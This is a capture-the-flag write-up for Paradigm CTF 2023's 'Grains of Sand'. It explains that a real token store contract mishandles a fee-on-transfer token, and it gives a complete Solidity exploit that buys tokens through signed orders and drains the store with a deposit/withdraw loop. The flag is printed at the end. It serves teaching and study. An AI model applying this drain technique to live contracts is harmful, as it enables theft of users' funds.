跳转至
2023 | Paradigm CTF | PWN

Grains of Sand

Description

At what point does it stop being a heap?

Deploy.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-ctf/CTFDeployment.sol";
import "../src/Challenge.sol";

contract Deploy is CTFDeployment {
    function deploy(address system, address) internal override returns (address challenge) {
        vm.startBroadcast(system);

        challenge = address(new Challenge());

        vm.stopBroadcast();
    }
}
src/Challenge.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Challenge {
    IERC20 private immutable TOKEN = IERC20(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);

    address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8;

    uint256 private immutable INITIAL_BALANCE;

    constructor() {
        INITIAL_BALANCE = TOKEN.balanceOf(TOKENSTORE);
    }

    function isSolved() external view returns (bool) {
        return INITIAL_BALANCE - TOKEN.balanceOf(TOKENSTORE) >= 11111e8;
    }
}

Solution

  • The private chain is forked from the Ethereum mainnet block with block number \(18437825\). And to solve the challenge, the token balance of the token store needs to be decreased by at least \(11111 \times 10^8\)

    // challenge.py
    def get_anvil_instances(self) -> Dict[str, LaunchAnvilInstanceArgs]:
        return {
            "main": self.get_anvil_instance(fork_block_num=18_437_825),
        }
    
  • The token GoldReserve (XGR) charges a fee when transferring, but the token store does not support fee-on-transfer tokens. So we can repeatedly deposit and withdraw to drain tokens from the store

    function depositToken(address _token, uint _amount) deprecable {
        ...
        if (!Token(_token).transferFrom(msg.sender, this, _amount)) {
            revert();
        }
        tokens[_token][msg.sender] = safeAdd(tokens[_token][msg.sender], _amount);  // @note The amount received could be less than _amount
        Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
    }
    
    function withdrawToken(address _token, uint _amount) {
        ...
        tokens[_token][msg.sender] = safeSub(tokens[_token][msg.sender], _amount);
        if (!Token(_token).transfer(msg.sender, _amount)) {
            revert();
        }
        Withdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]);
    }
    
  • Now we need to get some GoldReserve tokens first! Through the trade() function, we can exchange for $XGR with signatures

    function trade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
        uint _expires, uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount) {
        bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
        // Check order signatures and expiration, also check if not fulfilled yet
        if (ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) != _user ||
            block.number > _expires ||
            safeAdd(orderFills[_user][hash], _amount) > _amountGet) {
            revert();
        }
        tradeBalances(_tokenGet, _amountGet, _tokenGive, _amountGive, _user, msg.sender, _amount);
        orderFills[_user][hash] = safeAdd(orderFills[_user][hash], _amount);
        Trade(_tokenGet, _amount, _tokenGive, _amountGive * _amount / _amountGet, _user, msg.sender, _nonce);
    }
    
    function tradeBalances(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
        address _user, address _caller, uint _amount) private {
        ...
        tokens[_tokenGet][_user] = safeAdd(tokens[_tokenGet][_user], safeAdd(_amount, rebateValue));
        tokens[_tokenGet][_caller] = safeSub(tokens[_tokenGet][_caller], safeAdd(_amount, feeTakeValue));
        tokens[_tokenGive][_user] = safeSub(tokens[_tokenGive][_user], tokenGiveValue);
        tokens[_tokenGive][_caller] = safeAdd(tokens[_tokenGive][_caller], tokenGiveValue);
        tokens[_tokenGet][feeAccount] = safeAdd(tokens[_tokenGet][feeAccount], safeSub(feeTakeValue, rebateValue));
        ...
    }
    
  • Trading orders can be partially filled. By using Dune, we can find unexpired orders for GoldReserve tokens. Luckily, there are two orders with large amounts of unsold tokens XD

    tx_hash _amount _amountGet
    0x1483f5c6158dfb9a899b137ccfa988fb2b1f6927854dcd83e0a29caadd0e38ba 4200000000000000 84000000000000000
    0x6d727f761c7744bebf4a8773f5a06cd7af280dcda0b55c0995aea47d5570f1a1 4246800000000000 42468000000000000

Exploitation

interface ITokenStore {
    function tokens(address _token, address _user) external view returns (uint256);
    function deposit() external payable;
    function depositToken(address _token, uint _amount) external;
    function withdrawToken(address _token, uint _amount) external;
    function trade(
        address _tokenGet,
        uint _amountGet,
        address _tokenGive,
        uint _amountGive,
        uint _expires,
        uint _nonce,
        address _user,
        uint8 _v,
        bytes32 _r,
        bytes32 _s,
        uint _amount
    ) external;
    function availableVolume(
        address _tokenGet,
        uint _amountGet,
        address _tokenGive,
        uint _amountGive,
        uint _expires,
        uint _nonce,
        address _user,
        uint8 _v,
        bytes32 _r,
        bytes32 _s
    ) external view returns (uint256);
}

contract Solve is CTFSolver {
    ITokenStore tokenStore = ITokenStore(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8);

    function doTrade(
        address _tokenGet,
        uint _amountGet,
        address _tokenGive,
        uint _amountGive,
        uint _expires,
        uint _nonce,
        address _user,
        uint8 _v,
        bytes32 _r,
        bytes32 _s
    ) internal {
        uint256 amount = tokenStore.availableVolume(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _user, _v, _r, _s);
        tokenStore.trade(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _user, _v, _r, _s, amount);
    }

    function solve(address _challenge, address player) internal override {
        Challenge challenge = Challenge(_challenge);
        address token = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845;
        tokenStore.deposit{value: 10 ether}();  // to buy $XGR
        doTrade(
            address(0),
            84000000000000000,
            token,
            200000000000,
            108142282,
            470903382,
            address(0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8),
            28,
            0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,
            0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a
        );
        doTrade(
            address(0),
            42468000000000000,
            token,
            1000000000000,
            109997981,
            249363390,
            address(0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C),
            28,
            0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,
            0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e
        );

        IERC20(token).approve(address(tokenStore), type(uint256).max);
        tokenStore.withdrawToken(token, tokenStore.tokens(token, player));
        while(!challenge.isSolved()) {
            tokenStore.depositToken(token, IERC20(token).balanceOf(player));
            tokenStore.withdrawToken(token, tokenStore.tokens(token, player));
        }
    }
}

Flag

PCTF{f33_70K3nS_cauS1n9_pR08L3Ms_a9a1N}


最后更新: 2024年1月28日 19:57:08
Contributors: YanhuiJessica

评论